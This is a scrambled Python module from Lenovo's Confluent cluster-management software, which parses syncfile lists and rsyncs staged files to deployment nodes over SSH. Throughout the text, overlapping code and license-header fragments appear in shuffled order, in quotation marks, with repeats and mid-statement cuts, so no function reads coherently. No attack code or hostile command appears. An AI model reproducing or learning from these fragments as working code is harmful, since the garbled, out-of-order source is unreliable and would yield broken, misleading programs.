else: yield ent class SyncList(object): def __init__(self,", "ent = ent.strip() if not ent: continue if ent[-1] ==", "not use this file except in compliance with the License.", "suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {})", "and options def stage_ent(currmap, ent, targdir, appendexist=False): dst = currmap[ent]", "for subent in get_entries(subfilename): yield subent yield secname else: yield", "self.optmap = {} entries = get_entries(filename) currmap = self.replacemap for", "ent: k, v = ent.split('->') k = k.strip() v =", "opts = ','.join(optparts) opts = opts[1:-1] for opt in opts.split(','):", "':': if ent == 'MERGE:': currmap = self.mergemap elif ent", "writing, software # distributed under the License is distributed on", "'root@{}:/'.format(node)])[0] except Exception as e: if 'CalledProcessError' not in repr(e):", "not in syncrunners: return ('204 Not Running', '') if not", "for f in targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl, node,", "= ent.strip() if not ent: continue if ent[-1] == ':':", "shutil.rmtree(targdir) if not isinstance(output, str): output = output.decode('utf8') retval =", "you may not use this file except in compliance with", "secname = 'REPLACE:' filename = filename.strip() if filename[-1] == '>':", "dst and dst[0] == '/': dst = dst[1:] if len(everyfent)", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "optval = {'name': optval, 'id': gid} entopts[optname] = optval currmap[k]", "# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo #", "'output': output, } return retval # need dictionary with output", "','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if not isinstance(output, str): output", "= [] optparts = [] currparts = kparts for part", "ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in suffixes: while suffixes['appendonce']", "filename) try: with open(filename, 'r') as _: pass except OSError", "for ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append' in", "realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners = {} def start_syncfiles(nodename,", "except ValueError: pass for special in '$%^&|{}': if special in", "= 'REPLACE:' filename = filename.strip() if filename[-1] == '>': filename", "ent.strip() if not ent: continue if ent[-1] == ':': if", "= os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam", "os.path.exists(synclist): return '200 OK' # not running sl = SyncList(synclist,", "True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD', targdir + '/',", "in ent: k, v = ent.split('->') k = k.strip() v", "if 'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some", "= cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile =", "else: yield ent class SyncList(object): def __init__(self, filename, nodename, cfg):", "slfile: slist = slfile.read() entries = slist.split('\\n') for ent in", "while suffixes['append'] and suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:] for", "CONDITIONS OF ANY KIND, either express or implied. # See", "os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes: while suffixes['merge'] and suffixes['merge'][0]", "tmpent in allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if not everyfent:", "'APPENDONCE:': currmap = self.appendoncemap elif ent == 'REPLACE:': currmap =", "to indicate a directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst) for", "files match {}, {} needs a trailing slash to indicate", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "if not isinstance(output, str): output = output.decode('utf8') retval = {", "= ent.index('#') ent = ent[:cmtidx] except ValueError: pass for special", "noderange import eventlet import pwd import grp def mkdirp(path): try:", "unreadable files: \" + ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if", "'deployment.stagedprofile', {}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.profile',", "subent in get_entries(subfilename): yield subent yield secname else: yield ent", "else k for f in targ.split(): self.optmap[f] = entopts def", "for root, dirnames, filenames in os.walk(targdir): for filename in filenames:", "'/': raise Exception( 'Multiple files match {}, {} needs a", "if '->' in ent: k, v = ent.split('->') k =", "os.path.join(targdir, dst) for targ in everyfent: mkpathorlink(targ, fulltarg, appendexist) def", "matching files for \"{}\"'.format(ent)) if dst is None: # this", "and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination,", "= os.path.join(source, ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else:", "pass except OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise", "== 'REPLACE:': currmap = self.replacemap else: raise Exception( 'Section \"{}\"", "os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w')", "needs a trailing slash to indicate a directory'.format(ent, dst)) fulltarg", "targdir, appendexist=False): dst = currmap[ent] everyfent = [] allfents =", "mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam)", "syncrunners[nodename].dead: return ('200 OK', '') result = syncrunners[nodename].wait() del syncrunners[nodename]", "raise Exception(\"Syncing failed due to unreadable files: \" + ','.join(unreadablefiles))", "and destination as one dst = os.path.dirname(everyfent[0]) + '/' while", "currparts.append(part) k = ' '.join(kparts) v = None entopts =", "in get_entries(subfilename): yield subent yield secname else: yield ent class", "syntax in syncfile: \" + ent) opts = ','.join(optparts) opts", "!= 17: raise def get_entries(filename): secname = 'REPLACE:' filename =", "eventlet import pwd import grp def mkdirp(path): try: os.makedirs(path) except", "dst is None: # this is to indicate source and", "raise Exception( 'Multiple files match {}, {} needs a trailing", "os.listdir(source): currsrc = os.path.join(source, ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc,", "'-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except Exception as e: if", "= entopts def sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output", "ent, targdir, appendexist=False): dst = currmap[ent] everyfent = [] allfents", "ent in entries: ent = ent.split('#', 1)[0].strip() if not ent:", "= ent[1:] if subfilename[-1] == '>': subfilename = subfilename[:-1] if", "suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True)", "allfents = ent.split() for tmpent in allfents: fents = glob.glob(tmpent)", "as sshutil import confluent.util as util import confluent.noderange as noderange", "OR CONDITIONS OF ANY KIND, either express or implied. #", "limitations under the License. import glob import os import shutil", "optval = {'name': optval, 'id': uid} elif optname == 'group':", "sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append' in suffixes: while suffixes['append']", "glob import os import shutil import tempfile import confluent.sshutil as", "suffixes['append'] and suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:] for ent", "the License is distributed on an \"AS IS\" BASIS, #", "ent[0] == '<': subfilename = ent[1:] if subfilename[-1] == '>':", "import glob import os import shutil import tempfile import confluent.sshutil", "with output and options def stage_ent(currmap, ent, targdir, appendexist=False): dst", "def mkdirp(path): try: os.makedirs(path) except OSError as e: if e.errno", "optname == 'owner': try: uid = pwd.getpwnam(optval).pw_uid except KeyError: uid", "= v if v else k for f in targ.split():", "'w') as realdest: with open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source)", "= self.mergemap elif ent == 'APPENDONCE:': currmap = self.appendoncemap elif", "in suffixes: while suffixes['append'] and suffixes['append'][0] == '/': suffixes['append'] =", "self.mergemap = {} self.optmap = {} entries = get_entries(filename) currmap", "True) if 'appendonce' in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] ==", "mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source):", "for tmpent in allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if not", "some reason, can't catch the calledprocesserror normally # for this", "for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation')", "for some reason, can't catch the calledprocesserror normally # for", "no actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename, suffixes)", "in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce'] =", "'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some reason,", "yield secname else: yield ent class SyncList(object): def __init__(self, filename,", "elif optname == 'group': try: gid = grp.getgrnam(optval).gr_gid except KeyError:", "'' try: for ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if", "else: if destination[-1] == '/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source))", "1)[0].strip() if not ent: continue if ent in ('APPENDONCE:', 'MERGE:',", "= os.path.join(targdir, dst) for targ in everyfent: mkpathorlink(targ, fulltarg, appendexist)", "currsrc = os.path.join(source, ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst)", "[] currparts = kparts for part in ent.split(): if part[0]", "law or agreed to in writing, software # distributed under", "2021 Lenovo # # Licensed under the Apache License, Version", "if not syncrunners[nodename].dead: return ('200 OK', '') result = syncrunners[nodename].wait()", "secname = ent if ent[0] == '<': subfilename = ent[1:]", "'deployment.pendingprofile', {}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.stagedprofile',", "suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True)", "def start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo", "None optval = {'name': optval, 'id': uid} elif optname ==", "slist = slfile.read() entries = slist.split('\\n') for ent in entries:", "for ent in entries: ent = ent.split('#', 1)[0].strip() if not", "v: nr, v = v.split(':', 1) for candidate in noderange.NodeRange(nr,", "can't catch the calledprocesserror normally # for this exception, implement", "backgrounded def get_syncresult(nodename): if nodename not in syncrunners: return ('204", "filename = os.path.join(root, filename) try: with open(filename, 'r') as _:", "'(': currparts = optparts currparts.append(part) k = ' '.join(kparts) v", "repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some reason, can't catch the", "= slist.split('\\n') for ent in entries: ent = ent.split('#', 1)[0].strip()", "def __init__(self, filename, nodename, cfg): slist = None self.replacemap =", "stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in suffixes: while", "# need dictionary with output and options def stage_ent(currmap, ent,", "ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if ent[0]", "= ent.split('->') k = k.strip() v = v.strip() if ':'", "optparts currparts.append(part) k = ' '.join(kparts) v = None entopts", "{'name': optval, 'id': gid} entopts[optname] = optval currmap[k] = v", "'r') as slfile: slist = slfile.read() entries = slist.split('\\n') for", "None self.replacemap = {} self.appendmap = {} self.appendoncemap = {}", "'/': dst = dst[1:] if len(everyfent) > 1 and dst[-1]", "not ent: continue if ent[-1] == ':': if ent ==", "or sl.mergemap or sl.replacemap or sl.appendoncemap): return '200 OK' #", "= ','.join(optparts) opts = opts[1:-1] for opt in opts.split(','): optname,", "entries = slist.split('\\n') for ent in entries: ent = ent.split('#',", "shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under", "suffixes['merge']), True) if 'appendonce' in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0]", "self.replacemap else: raise Exception( 'Section \"{}\" is not currently supported", "for future use'.format(special)) ent = ent.strip() if not ent: continue", "may obtain a copy of the License at # #", "!= '(' or optparts[-1][-1] != ')': raise Exception(\"Unsupported syntax in", "','.join(optparts) opts = opts[1:-1] for opt in opts.split(','): optname, optval", "if not (sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap): return", "mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination)", "deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not", "+ '/', 'root@{}:/'.format(node)])[0] except Exception as e: if 'CalledProcessError' not", "entopts def sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output =", "= filename.strip() if filename[-1] == '>': filename = filename[:-1] with", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "\" + ent) opts = ','.join(optparts) opts = opts[1:-1] for", "== '/': suffixes['merge'] = suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap,", "deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not profile: profile = deployinfo.get(", "os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam =", "may not use this file except in compliance with the", "ent == 'APPENDONCE:': currmap = self.appendoncemap elif ent == 'REPLACE:':", "continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent", "k.strip() v = v.strip() if ':' in v: nr, v", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "this file except in compliance with the License. # You", "optname, optval = opt.split('=') if optname == 'owner': try: uid", "= currmap[ent] everyfent = [] allfents = ent.split() for tmpent", "len(everyfent) > 1 and dst[-1] != '/': raise Exception( 'Multiple", "> 1 and dst[-1] != '/': raise Exception( 'Multiple files", "under the License. import glob import os import shutil import", "isinstance(output, str): output = output.decode('utf8') retval = { 'options': sl.optmap,", "syncrunners: return ('204 Not Running', '') if not syncrunners[nodename].dead: return", "entries = get_entries(filename) currmap = self.replacemap for ent in entries:", "!= '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename):", "opts.split(','): optname, optval = opt.split('=') if optname == 'owner': try:", "or optparts[-1][-1] != ')': raise Exception(\"Unsupported syntax in syncfile: \"", "nodename, cfg) if not (sl.appendmap or sl.mergemap or sl.replacemap or", "None optval = {'name': optval, 'id': gid} entopts[optname] = optval", "v targ = v if v else k for f", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "= suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append']))", "self.appendmap = {} self.appendoncemap = {} self.mergemap = {} self.optmap", "due to unreadable files: \" + ','.join(unreadablefiles)) else: raise finally:", "appendexist) def mkpathorlink(source, destination, appendexist=False): if os.path.isdir(source): mkdirp(destination) for ent", "# # Licensed under the Apache License, Version 2.0 (the", "= optparts currparts.append(part) k = ' '.join(kparts) v = None", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "part[0] == '(': currparts = optparts currparts.append(part) k = '", "= grp.getgrnam(optval).gr_gid except KeyError: gid = None optval = {'name':", "destination as one dst = os.path.dirname(everyfent[0]) + '/' while dst", "os.path.isdir(source): mkdirp(destination) for ent in os.listdir(source): currsrc = os.path.join(source, ent)", "= pwd.getpwnam(optval).pw_uid except KeyError: uid = None optval = {'name':", "SyncList(synclist, nodename, cfg) if not (sl.appendmap or sl.mergemap or sl.replacemap", "a hack workaround raise unreadablefiles = [] for root, dirnames,", "unreadablefiles = [] for root, dirnames, filenames in os.walk(targdir): for", "= {} if optparts: if optparts[0][0] != '(' or optparts[-1][-1]", "output, } return retval # need dictionary with output and", "Exception( 'Special character \"{}\" reserved for future use'.format(special)) ent =", "a trailing slash to indicate a directory'.format(ent, dst)) fulltarg =", "noderange.NodeRange(nr, cfg).nodes: if candidate == nodename: break else: continue optparts", "self.optmap[f] = entopts def sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node))", "trailing slash to indicate a directory'.format(ent, dst)) fulltarg = os.path.join(targdir,", "dst[0] == '/': dst = dst[1:] if len(everyfent) > 1", "e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception(\"Syncing failed due to", "while dst and dst[0] == '/': dst = dst[1:] if", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "ent.split('->') k = k.strip() v = v.strip() if ':' in", "optparts[1:] else: kparts = [] optparts = [] currparts =", "ent = ent.split('#', 1)[0].strip() if not ent: continue if ent", "e: if 'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for", "raise Exception('No matching files for \"{}\"'.format(ent)) if dst is None:", "nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile',", "= deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not profile: profile =", "deployinfo.get( 'deployment.profile', {}).get('value', '') if not profile: raise Exception('Cannot perform", "retval # need dictionary with output and options def stage_ent(currmap,", "'202 Queued' # backgrounded def get_syncresult(nodename): if nodename not in", "ent, os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes: while suffixes['merge'] and", "= glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise Exception('No matching files", "mkpathorlink(currsrc, currdst) else: if destination[-1] == '/': mkdirp(destination) destination =", "as _: pass except OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if", "destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination):", "sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in suffixes:", "syncfiles without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist):", "= ent if ent[0] == '<': subfilename = ent[1:] if", "nodename not in syncrunners: return ('204 Not Running', '') if", "== '>': filename = filename[:-1] with open(filename, 'r') as slfile:", "in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append' in suffixes: while", "cmtidx = ent.index('#') ent = ent[:cmtidx] except ValueError: pass for", "as noderange import eventlet import pwd import grp def mkdirp(path):", "eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return '202 Queued' # backgrounded", "finally: shutil.rmtree(targdir) if not isinstance(output, str): output = output.decode('utf8') retval", "language governing permissions and # limitations under the License. import", "break else: continue optparts = v.split() v = optparts[0] optparts", "output = util.run( ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except", "return '200 OK' # not running sl = SyncList(synclist, nodename,", "not syncrunners[nodename].dead: return ('200 OK', '') result = syncrunners[nodename].wait() del", "= ' '.join(kparts) v = None entopts = {} if", "running sl = SyncList(synclist, nodename, cfg) if not (sl.appendmap or", "deployinfo = deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '')", "[] for root, dirnames, filenames in os.walk(targdir): for filename in", "for ent in os.listdir(source): currsrc = os.path.join(source, ent) currdst =", "dst) for targ in everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source,", "elif ent == 'REPLACE:': currmap = self.replacemap else: raise Exception(", "suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD', targdir +", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "def get_entries(filename): secname = 'REPLACE:' filename = filename.strip() if filename[-1]", "{} def start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',))", "== 'owner': try: uid = pwd.getpwnam(optval).pw_uid except KeyError: uid =", "= suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']),", "for candidate in noderange.NodeRange(nr, cfg).nodes: if candidate == nodename: break", "['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except Exception as e:", "suffixes['append'] = suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap, ent, os.path.join(targdir,", "= dst[1:] if len(everyfent) > 1 and dst[-1] != '/':", "ent, targdir) if 'append' in suffixes: while suffixes['append'] and suffixes['append'][0]", "ent = ent[:cmtidx] except ValueError: pass for special in '$%^&|{}':", "'') if not profile: profile = deployinfo.get( 'deployment.profile', {}).get('value', '')", "perform syncfiles without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not", "or implied. # See the License for the specific language", "SyncList(object): def __init__(self, filename, nodename, cfg): slist = None self.replacemap", "confluent.noderange as noderange import eventlet import pwd import grp def", "class SyncList(object): def __init__(self, filename, nodename, cfg): slist = None", "tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w') as realdest: with", "stage_ent(sl.appendmap, ent, os.path.join(targdir, suffixes['append'])) if 'merge' in suffixes: while suffixes['merge']", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "'<': subfilename = ent[1:] if subfilename[-1] == '>': subfilename =", "{} self.appendmap = {} self.appendoncemap = {} self.mergemap = {}", "'group': try: gid = grp.getgrnam(optval).gr_gid except KeyError: gid = None", "files for \"{}\"'.format(ent)) if dst is None: # this is", "import grp def mkdirp(path): try: os.makedirs(path) except OSError as e:", "def stage_ent(currmap, ent, targdir, appendexist=False): dst = currmap[ent] everyfent =", "sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0]", "__init__(self, filename, nodename, cfg): slist = None self.replacemap = {}", "to indicate source and destination as one dst = os.path.dirname(everyfent[0])", "special in ent: raise Exception( 'Special character \"{}\" reserved for", "'200 OK' # not running sl = SyncList(synclist, nodename, cfg)", "is to indicate source and destination as one dst =", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "if not profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if", "{} self.appendoncemap = {} self.mergemap = {} self.optmap = {}", "= None optval = {'name': optval, 'id': uid} elif optname", "mkdirp(path): try: os.makedirs(path) except OSError as e: if e.errno !=", "v = ent.split('->') k = k.strip() v = v.strip() if", "ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output", "OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles: raise Exception(\"Syncing failed", "import pwd import grp def mkdirp(path): try: os.makedirs(path) except OSError", "k for f in targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl,", "os.makedirs(path) except OSError as e: if e.errno != 17: raise", "'appendonce' in suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce']", "ent class SyncList(object): def __init__(self, filename, nodename, cfg): slist =", "= os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield subent yield", "try: gid = grp.getgrnam(optval).gr_gid except KeyError: gid = None optval", "'/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in sl.appendoncemap: stage_ent(sl.appendoncemap, ent,", "as util import confluent.noderange as noderange import eventlet import pwd", "root, dirnames, filenames in os.walk(targdir): for filename in filenames: filename", "== '/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if", "'deployment.profile', {}).get('value', '') if not profile: raise Exception('Cannot perform syncfiles", "slist = None self.replacemap = {} self.appendmap = {} self.appendoncemap", "(the \"License\"); # you may not use this file except", "cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename,", "# you may not use this file except in compliance", "'/' while dst and dst[0] == '/': dst = dst[1:]", "os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield subent yield secname", "os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if destination[-1] == '/': mkdirp(destination)", "mkdirp(destination) for ent in os.listdir(source): currsrc = os.path.join(source, ent) currdst", "reserved for future use'.format(special)) ent = ent.strip() if not ent:", "= ent[:cmtidx] except ValueError: pass for special in '$%^&|{}': if", "is not currently supported in syncfiles'.format(ent[:-1])) continue if '->' in", "and suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:] for ent in", "\"{}\" is not currently supported in syncfiles'.format(ent[:-1])) continue if '->'", "\"{}\" reserved for future use'.format(special)) ent = ent.strip() if not", "def get_syncresult(nodename): if nodename not in syncrunners: return ('204 Not", "appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with", "source and destination as one dst = os.path.dirname(everyfent[0]) + '/'", "if part[0] == '(': currparts = optparts currparts.append(part) k =", "OK' # not running sl = SyncList(synclist, nodename, cfg) if", "ent if ent[0] == '<': subfilename = ent[1:] if subfilename[-1]", "output = '' try: for ent in sl.replacemap: stage_ent(sl.replacemap, ent,", "in sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output =", "os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp()", "profile: profile = deployinfo.get( 'deployment.profile', {}).get('value', '') if not profile:", "elif ent == 'APPENDONCE:': currmap = self.appendoncemap elif ent ==", "get_syncresult(nodename): if nodename not in syncrunners: return ('204 Not Running',", "currently supported in syncfiles'.format(ent[:-1])) continue if '->' in ent: k,", "= v.split(':', 1) for candidate in noderange.NodeRange(nr, cfg).nodes: if candidate", "optparts = optparts[1:] else: kparts = [] optparts = []", "currparts = kparts for part in ent.split(): if part[0] ==", "Exception as e: if 'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413", "not everyfent: raise Exception('No matching files for \"{}\"'.format(ent)) if dst", "# # Unless required by applicable law or agreed to", "filename.strip() if filename[-1] == '>': filename = filename[:-1] with open(filename,", "== '/': dst = dst[1:] if len(everyfent) > 1 and", "('204 Not Running', '') if not syncrunners[nodename].dead: return ('200 OK',", "return ('200 OK', '') result = syncrunners[nodename].wait() del syncrunners[nodename] return", "currmap[ent] everyfent = [] allfents = ent.split() for tmpent in", "as e: if 'CalledProcessError' not in repr(e): # https://github.com/eventlet/eventlet/issues/413 #", "or sl.replacemap or sl.appendoncemap): return '200 OK' # the synclist", "try: for ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append'", "or sl.appendoncemap): return '200 OK' # the synclist has no", "[] optparts = [] currparts = kparts for part in", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "if ent == 'MERGE:': currmap = self.mergemap elif ent ==", "ent in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce'", "entries: ent = ent.split('#', 1)[0].strip() if not ent: continue if", "Version 2.0 (the \"License\"); # you may not use this", "util import confluent.noderange as noderange import eventlet import pwd import", "as one dst = os.path.dirname(everyfent[0]) + '/' while dst and", "{}).get('value', '') if not profile: profile = deployinfo.get( 'deployment.profile', {}).get('value',", "uid = pwd.getpwnam(optval).pw_uid except KeyError: uid = None optval =", "if not os.path.exists(synclist): return '200 OK' # not running sl", "import tempfile import confluent.sshutil as sshutil import confluent.util as util", "targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl, node, suffixes): targdir =", "stage_ent(sl.replacemap, ent, targdir) if 'append' in suffixes: while suffixes['append'] and", "get_entries(filename) currmap = self.replacemap for ent in entries: try: cmtidx", "= subfilename[:-1] if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename)", "= tempfile.mktemp() shutil.copy(destination, tmpnam) os.remove(destination) with open(destination, 'w') as realdest:", "currmap = self.replacemap for ent in entries: try: cmtidx =", "sl.appendoncemap): return '200 OK' # the synclist has no actual", "currmap = self.replacemap else: raise Exception( 'Section \"{}\" is not", "candidate == nodename: break else: continue optparts = v.split() v", "Exception('Cannot perform syncfiles without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if", "fulltarg = os.path.join(targdir, dst) for targ in everyfent: mkpathorlink(targ, fulltarg,", "+ ent) opts = ','.join(optparts) opts = opts[1:-1] for opt", "for special in '$%^&|{}': if special in ent: raise Exception(", "== 'APPENDONCE:': currmap = self.appendoncemap elif ent == 'REPLACE:': currmap", "in ent: raise Exception( 'Special character \"{}\" reserved for future", "implied. # See the License for the specific language governing", "util.run( ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except Exception as", "= SyncList(synclist, nodename, cfg) if not (sl.appendmap or sl.mergemap or", "= {} self.optmap = {} entries = get_entries(filename) currmap =", "continue optparts = v.split() v = optparts[0] optparts = optparts[1:]", "raise Exception(\"Unsupported syntax in syncfile: \" + ent) opts =", "under the Apache License, Version 2.0 (the \"License\"); # you", "'/': suffixes['merge'] = suffixes['merge'][1:] for ent in sl.mergemap: stage_ent(sl.mergemap, ent,", "{}, {} needs a trailing slash to indicate a directory'.format(ent,", "= opt.split('=') if optname == 'owner': try: uid = pwd.getpwnam(optval).pw_uid", "dst)) fulltarg = os.path.join(targdir, dst) for targ in everyfent: mkpathorlink(targ,", "# not running sl = SyncList(synclist, nodename, cfg) if not", "targdir + '/', 'root@{}:/'.format(node)])[0] except Exception as e: if 'CalledProcessError'", "one dst = os.path.dirname(everyfent[0]) + '/' while dst and dst[0]", "= v targ = v if v else k for", "match {}, {} needs a trailing slash to indicate a", "start_syncfiles(nodename, cfg, suffixes): deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo =", "get_entries(filename): secname = 'REPLACE:' filename = filename.strip() if filename[-1] ==", "ValueError: pass for special in '$%^&|{}': if special in ent:", "v = v.split(':', 1) for candidate in noderange.NodeRange(nr, cfg).nodes: if", "cfg): slist = None self.replacemap = {} self.appendmap = {}", "== '(': currparts = optparts currparts.append(part) k = ' '.join(kparts)", "_: pass except OSError as e: unreadablefiles.append(filename.replace(targdir, '')) if unreadablefiles:", "dst = dst[1:] if len(everyfent) > 1 and dst[-1] !=", "by applicable law or agreed to in writing, software #", "'(' or optparts[-1][-1] != ')': raise Exception(\"Unsupported syntax in syncfile:", "if optname == 'owner': try: uid = 